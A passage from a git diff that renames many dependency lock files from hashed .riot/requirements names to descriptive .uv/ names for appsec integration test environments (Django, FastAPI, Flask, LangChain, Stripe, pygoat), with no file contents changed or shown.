.uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-latest-legacy-cgi-latest.txt diff --git a/.riot/requirements/1915800.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-latest.txt similarity index 100% rename from .riot/requirements/1915800.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-latest.txt diff --git a/.riot/requirements/48d5c6c.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-3-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/48d5c6c.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-3-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/1503753.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-4-0-10-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/1503753.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-4-0-10-legacy-cgi-latest.txt diff --git a/.riot/requirements/a8b25c6.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-4-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/a8b25c6.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-4-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/cd15a87.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-4-2.txt similarity index 100% rename from .riot/requirements/cd15a87.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-4-2.txt diff --git a/.riot/requirements/1e48f3c.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-5-2.txt similarity index 100% rename from .riot/requirements/1e48f3c.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-5-2.txt diff --git a/.riot/requirements/1f1a6f3.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-latest-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/1f1a6f3.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-latest-legacy-cgi-latest.txt diff --git a/.riot/requirements/1376d8e.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-latest.txt similarity index 100% rename from .riot/requirements/1376d8e.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py313-django-latest.txt diff --git a/.riot/requirements/19c11d3.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py314-django-5-2.txt similarity index 100% rename from .riot/requirements/19c11d3.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py314-django-5-2.txt diff --git a/.riot/requirements/1b618aa.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py314-django-latest-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/1b618aa.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py314-django-latest-legacy-cgi-latest.txt diff --git a/.riot/requirements/7604751.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py314-django-latest.txt similarity index 100% rename from .riot/requirements/7604751.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py314-django-latest.txt diff --git a/.riot/requirements/11c2f13.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-2-2.txt similarity index 100% rename from .riot/requirements/11c2f13.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-2-2.txt diff --git a/.riot/requirements/18227bd.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-3-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/18227bd.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-3-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/1b5416c.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-4-0-10-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/1b5416c.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-4-0-10-legacy-cgi-latest.txt diff --git a/.riot/requirements/84fcc53.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-4-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/84fcc53.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-4-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/15f493e.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-4-2.txt similarity index 100% rename from .riot/requirements/15f493e.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py39-django-4-2.txt diff --git a/.riot/requirements/a15bba4.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py310-fastapi-0-114-2-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/a15bba4.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py310-fastapi-0-114-2-mcp-1-20-0.txt diff --git a/.riot/requirements/19e6a88.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py310-fastapi-0-141-1.txt similarity index 100% rename from .riot/requirements/19e6a88.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py310-fastapi-0-141-1.txt diff --git a/.riot/requirements/46fc987.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py310-fastapi-0-86-0-anyio-3-7-1.txt similarity index 100% rename from .riot/requirements/46fc987.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py310-fastapi-0-86-0-anyio-3-7-1.txt diff --git a/.riot/requirements/1afe93f.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py310-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/1afe93f.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py310-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt diff --git a/.riot/requirements/40e667a.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py311-fastapi-0-114-2-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/40e667a.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py311-fastapi-0-114-2-mcp-1-20-0.txt diff --git a/.riot/requirements/8d096ec.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py311-fastapi-0-86-0-anyio-3-7-1.txt similarity index 100% rename from .riot/requirements/8d096ec.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py311-fastapi-0-86-0-anyio-3-7-1.txt diff --git a/.riot/requirements/1edf36f.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py311-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/1edf36f.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py311-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt diff --git a/.riot/requirements/104828e.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py312-fastapi-0-114-2-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/104828e.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py312-fastapi-0-114-2-mcp-1-20-0.txt diff --git a/.riot/requirements/6d301de.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py312-fastapi-0-86-0-anyio-3-7-1.txt similarity index 100% rename from .riot/requirements/6d301de.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py312-fastapi-0-86-0-anyio-3-7-1.txt diff --git a/.riot/requirements/f0226bf.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py312-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/f0226bf.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py312-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt diff --git a/.riot/requirements/1dfb120.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py313-fastapi-0-114-2-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/1dfb120.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py313-fastapi-0-114-2-mcp-1-20-0.txt diff --git a/.riot/requirements/10219a2.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py313-fastapi-0-86-0-anyio-3-7-1.txt similarity index 100% rename from .riot/requirements/10219a2.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py313-fastapi-0-86-0-anyio-3-7-1.txt diff --git a/.riot/requirements/4710c07.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py313-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/4710c07.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py313-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt diff --git a/.riot/requirements/3de36cc.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py314-fastapi-0-114-2-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/3de36cc.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py314-fastapi-0-114-2-mcp-1-20-0.txt diff --git a/.riot/requirements/65b2eb7.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py314-fastapi-0-141-1.txt similarity index 100% rename from .riot/requirements/65b2eb7.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py314-fastapi-0-141-1.txt diff --git a/.riot/requirements/236b09c.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py314-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt similarity index 100% rename from .riot/requirements/236b09c.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py314-fastapi-latest-pydantic-2-12-1-mcp-1-20-0.txt diff --git a/.riot/requirements/85987cd.txt b/.uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py39-fastapi-0-86-0-anyio-3-7-1.txt similarity index 100% rename from .riot/requirements/85987cd.txt rename to .uv/appsec-appsec-integrations-fastapi--appsec-integrations-fastapi-py39-fastapi-0-86-0-anyio-3-7-1.txt diff --git a/.riot/requirements/190e5df.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py310-flask-2-2.txt similarity index 100% rename from .riot/requirements/190e5df.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py310-flask-2-2.txt diff --git a/.riot/requirements/a5c98ed.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py311-flask-2-2.txt similarity index 100% rename from .riot/requirements/a5c98ed.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py311-flask-2-2.txt diff --git a/.riot/requirements/c05715c.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py311-flask-3-1-werkzeug-3-1.txt similarity index 100% rename from .riot/requirements/c05715c.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py311-flask-3-1-werkzeug-3-1.txt diff --git a/.riot/requirements/1dbdbea.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py312-flask-2-2.txt similarity index 100% rename from .riot/requirements/1dbdbea.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py312-flask-2-2.txt diff --git a/.riot/requirements/148c37a.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py312-flask-3-1-werkzeug-3-1.txt similarity index 100% rename from .riot/requirements/148c37a.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py312-flask-3-1-werkzeug-3-1.txt diff --git a/.riot/requirements/848bcfc.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py313-flask-2-2.txt similarity index 100% rename from .riot/requirements/848bcfc.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py313-flask-2-2.txt diff --git a/.riot/requirements/18269eb.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py313-flask-3-1-werkzeug-3-1.txt similarity index 100% rename from .riot/requirements/18269eb.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py313-flask-3-1-werkzeug-3-1.txt diff --git a/.riot/requirements/11335dd.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py314-flask-2-2.txt similarity index 100% rename from .riot/requirements/11335dd.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py314-flask-2-2.txt diff --git a/.riot/requirements/538bd65.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py314-flask-3-1-werkzeug-3-1.txt similarity index 100% rename from .riot/requirements/538bd65.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py314-flask-3-1-werkzeug-3-1.txt diff --git a/.riot/requirements/7c2d6af.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py39-flask-1-1-markupsafe-1-1-itsdangerous-2-0-1-werkzeug-2-0-3.txt similarity index 100% rename from .riot/requirements/7c2d6af.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py39-flask-1-1-markupsafe-1-1-itsdangerous-2-0-1-werkzeug-2-0-3.txt diff --git a/.riot/requirements/176aab2.txt b/.uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py39-flask-2-2.txt similarity index 100% rename from .riot/requirements/176aab2.txt rename to .uv/appsec-appsec-integrations-flask--appsec-integrations-flask-py39-flask-2-2.txt diff --git a/.riot/requirements/197377a.txt b/.uv/appsec-appsec-integrations-flask-testagent--appsec-integrations-flask-testagent-py312-flask-2-2.txt similarity index 100% rename from .riot/requirements/197377a.txt rename to .uv/appsec-appsec-integrations-flask-testagent--appsec-integrations-flask-testagent-py312-flask-2-2.txt diff --git a/.riot/requirements/1d3c869.txt b/.uv/appsec-appsec-integrations-flask-testagent--appsec-integrations-flask-testagent-py313-flask-3-1-werkzeug-3-1.txt similarity index 100% rename from .riot/requirements/1d3c869.txt rename to .uv/appsec-appsec-integrations-flask-testagent--appsec-integrations-flask-testagent-py313-flask-3-1-werkzeug-3-1.txt diff --git a/.riot/requirements/bb7aaff.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py310-langchain-0-1-langchain-experimental-0-1.txt similarity index 100% rename from .riot/requirements/bb7aaff.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py310-langchain-0-1-langchain-experimental-0-1.txt diff --git a/.riot/requirements/1626f45.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py310-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt similarity index 100% rename from .riot/requirements/1626f45.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py310-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt diff --git a/.riot/requirements/1bfb854.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py310-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt similarity index 100% rename from .riot/requirements/1bfb854.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py310-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt diff --git a/.riot/requirements/1b8b4e7.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py311-langchain-0-1-langchain-experimental-0-1.txt similarity index 100% rename from .riot/requirements/1b8b4e7.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py311-langchain-0-1-langchain-experimental-0-1.txt diff --git a/.riot/requirements/f6bd23d.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py311-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt similarity index 100% rename from .riot/requirements/f6bd23d.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py311-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt diff --git a/.riot/requirements/e09a90b.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py311-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt similarity index 100% rename from .riot/requirements/e09a90b.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py311-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt diff --git a/.riot/requirements/1e54104.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py312-langchain-0-1-langchain-experimental-0-1.txt similarity index 100% rename from .riot/requirements/1e54104.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py312-langchain-0-1-langchain-experimental-0-1.txt diff --git a/.riot/requirements/1dcf144.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py312-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt similarity index 100% rename from .riot/requirements/1dcf144.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py312-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt diff --git a/.riot/requirements/16ca618.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py312-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt similarity index 100% rename from .riot/requirements/16ca618.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py312-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt diff --git a/.riot/requirements/1d2d50f.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py313-langchain-0-1-langchain-experimental-0-1.txt similarity index 100% rename from .riot/requirements/1d2d50f.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py313-langchain-0-1-langchain-experimental-0-1.txt diff --git a/.riot/requirements/b34ec02.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py313-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt similarity index 100% rename from .riot/requirements/b34ec02.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py313-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt diff --git a/.riot/requirements/3a3f49e.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py313-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt similarity index 100% rename from .riot/requirements/3a3f49e.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py313-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt diff --git a/.riot/requirements/1107e3b.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py39-langchain-0-1-langchain-experimental-0-1.txt similarity index 100% rename from .riot/requirements/1107e3b.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py39-langchain-0-1-langchain-experimental-0-1.txt diff --git a/.riot/requirements/166880c.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py39-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt similarity index 100% rename from .riot/requirements/166880c.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py39-langchain-0-2-langchain-community-0-2-langchain-experimental-0-2.txt diff --git a/.riot/requirements/f4e4b12.txt b/.uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py39-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt similarity index 100% rename from .riot/requirements/f4e4b12.txt rename to .uv/appsec-appsec-integrations-langchain--appsec-integrations-langchain-py39-langchain-0-3-langchain-community-0-3-langchain-experimental-0-3.txt diff --git a/.riot/requirements/88841c7.txt b/.uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py310.txt similarity index 100% rename from .riot/requirements/88841c7.txt rename to .uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py310.txt diff --git a/.riot/requirements/132f162.txt b/.uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py311.txt similarity index 100% rename from .riot/requirements/132f162.txt rename to .uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py311.txt diff --git a/.riot/requirements/f8f807c.txt b/.uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py312.txt similarity index 100% rename from .riot/requirements/f8f807c.txt rename to .uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py312.txt diff --git a/.riot/requirements/1443b2d.txt b/.uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py313.txt similarity index 100% rename from .riot/requirements/1443b2d.txt rename to .uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py313.txt diff --git a/.riot/requirements/1d04c8d.txt b/.uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py314.txt similarity index 100% rename from .riot/requirements/1d04c8d.txt rename to .uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py314.txt diff --git a/.riot/requirements/59e7d85.txt b/.uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py39.txt similarity index 100% rename from .riot/requirements/59e7d85.txt rename to .uv/appsec-appsec-integrations-packages--appsec-integrations-packages-py39.txt diff --git a/.riot/requirements/a4aa6ca.txt b/.uv/appsec-appsec-integrations-pygoat--appsec-integrations-pygoat-py310.txt similarity index 100% rename from .riot/requirements/a4aa6ca.txt rename to .uv/appsec-appsec-integrations-pygoat--appsec-integrations-pygoat-py310.txt diff --git a/.riot/requirements/6e664eb.txt b/.uv/appsec-appsec-integrations-pygoat--appsec-integrations-pygoat-py311.txt similarity index 100% rename from .riot/requirements/6e664eb.txt rename to .uv/appsec-appsec-integrations-pygoat--appsec-integrations-pygoat-py311.txt diff --git a/.riot/requirements/1bc5921.txt b/.uv/appsec-appsec-integrations-pygoat--appsec-integrations-pygoat-py312.txt similarity index 100% rename from .riot/requirements/1bc5921.txt rename to .uv/appsec-appsec-integrations-pygoat--appsec-integrations-pygoat-py312.txt diff --git a/.riot/requirements/a7998f4.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py310-stripe-11-0.txt similarity index 100% rename from .riot/requirements/a7998f4.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py310-stripe-11-0.txt diff --git a/.riot/requirements/19aa387.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py310-stripe-12-0.txt similarity index 100% rename from .riot/requirements/19aa387.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py310-stripe-12-0.txt diff --git a/.riot/requirements/12b3167.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py310-stripe-13-0.txt similarity index 100% rename from .riot/requirements/12b3167.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py310-stripe-13-0.txt diff --git a/.riot/requirements/45c1c7f.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py310-stripe-latest.txt similarity index 100% rename from .riot/requirements/45c1c7f.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py310-stripe-latest.txt diff --git a/.riot/requirements/1c39e96.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py311-stripe-11-0.txt similarity index 100% rename from .riot/requirements/1c39e96.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py311-stripe-11-0.txt diff --git a/.riot/requirements/d85a7c2.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py311-stripe-12-0.txt similarity index 100% rename from .riot/requirements/d85a7c2.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py311-stripe-12-0.txt diff --git a/.riot/requirements/b48f657.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py311-stripe-13-0.txt similarity index 100% rename from .riot/requirements/b48f657.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py311-stripe-13-0.txt diff --git a/.riot/requirements/1b13f04.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py311-stripe-latest.txt similarity index 100% rename from .riot/requirements/1b13f04.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py311-stripe-latest.txt diff --git a/.riot/requirements/18913cd.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py312-stripe-11-0.txt similarity index 100% rename from .riot/requirements/18913cd.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py312-stripe-11-0.txt diff --git a/.riot/requirements/eaeea2d.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py312-stripe-12-0.txt similarity index 100% rename from .riot/requirements/eaeea2d.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py312-stripe-12-0.txt diff --git a/.riot/requirements/e660d69.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py312-stripe-13-0.txt similarity index 100% rename from .riot/requirements/e660d69.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py312-stripe-13-0.txt diff --git a/.riot/requirements/878e6c6.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py312-stripe-latest.txt similarity index 100% rename from .riot/requirements/878e6c6.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py312-stripe-latest.txt diff --git a/.riot/requirements/1c67f9c.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py313-stripe-11-0.txt similarity index 100% rename from .riot/requirements/1c67f9c.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py313-stripe-11-0.txt diff --git a/.riot/requirements/14cfe2e.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py313-stripe-12-0.txt similarity index 100% rename from .riot/requirements/14cfe2e.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py313-stripe-12-0.txt diff --git a/.riot/requirements/1196ac3.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py313-stripe-13-0.txt similarity index 100% rename from .riot/requirements/1196ac3.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py313-stripe-13-0.txt diff --git a/.riot/requirements/9a2fcc3.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py313-stripe-latest.txt similarity index 100% rename from .riot/requirements/9a2fcc3.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py313-stripe-latest.txt diff --git a/.riot/requirements/3209b92.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py314-stripe-11-0.txt similarity index 100% rename from .riot/requirements/3209b92.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py314-stripe-11-0.txt diff --git a/.riot/requirements/1544047.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py314-stripe-12-0.txt similarity index 100% rename from .riot/requirements/1544047.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py314-stripe-12-0.txt diff --git a/.riot/requirements/e9aeb44.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py314-stripe-13-0.txt similarity index 100% rename from .riot/requirements/e9aeb44.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py314-stripe-13-0.txt diff --git a/.riot/requirements/cd83bf1.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py314-stripe-latest.txt similarity index 100% rename from .riot/requirements/cd83bf1.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py314-stripe-latest.txt diff --git a/.riot/requirements/5b6d5bd.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py39-stripe-11-0.txt similarity index 100% rename from .riot/requirements/5b6d5bd.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py39-stripe-11-0.txt diff --git a/.riot/requirements/190c811.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py39-stripe-12-0.txt similarity index 100% rename from .riot/requirements/190c811.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py39-stripe-12-0.txt diff --git a/.riot/requirements/f1a0a59.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py39-stripe-13-0.txt similarity index 100% rename from .riot/requirements/f1a0a59.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py39-stripe-13-0.txt diff --git a/.riot/requirements/606dcae.txt b/.uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py39-stripe-latest.txt similarity index 100% rename from .riot/requirements/606dcae.txt rename to .uv/appsec-appsec-integrations-stripe--appsec-integrations-stripe-py39-stripe-latest.txt diff --git a/.riot/requirements/ad7633a.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py310-django-3-2.txt similarity index 100% rename from .riot/requirements/ad7633a.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py310-django-3-2.txt diff --git a/.riot/requirements/1844abd.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py310-django-4-0-10.txt similarity index 100% rename from .riot/requirements/1844abd.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py310-django-4-0-10.txt diff --git a/.riot/requirements/a06729a.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py310-django-5-1.txt similarity index 100% rename from .riot/requirements/a06729a.txt rename to .uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py310-django-5-1.txt diff --git a/.riot/requirements/8227490.txt b/.uv/appsec-appsec-threats-django-iast--appsec-threats-django-iast-py311-django-4-2.txt similarity index 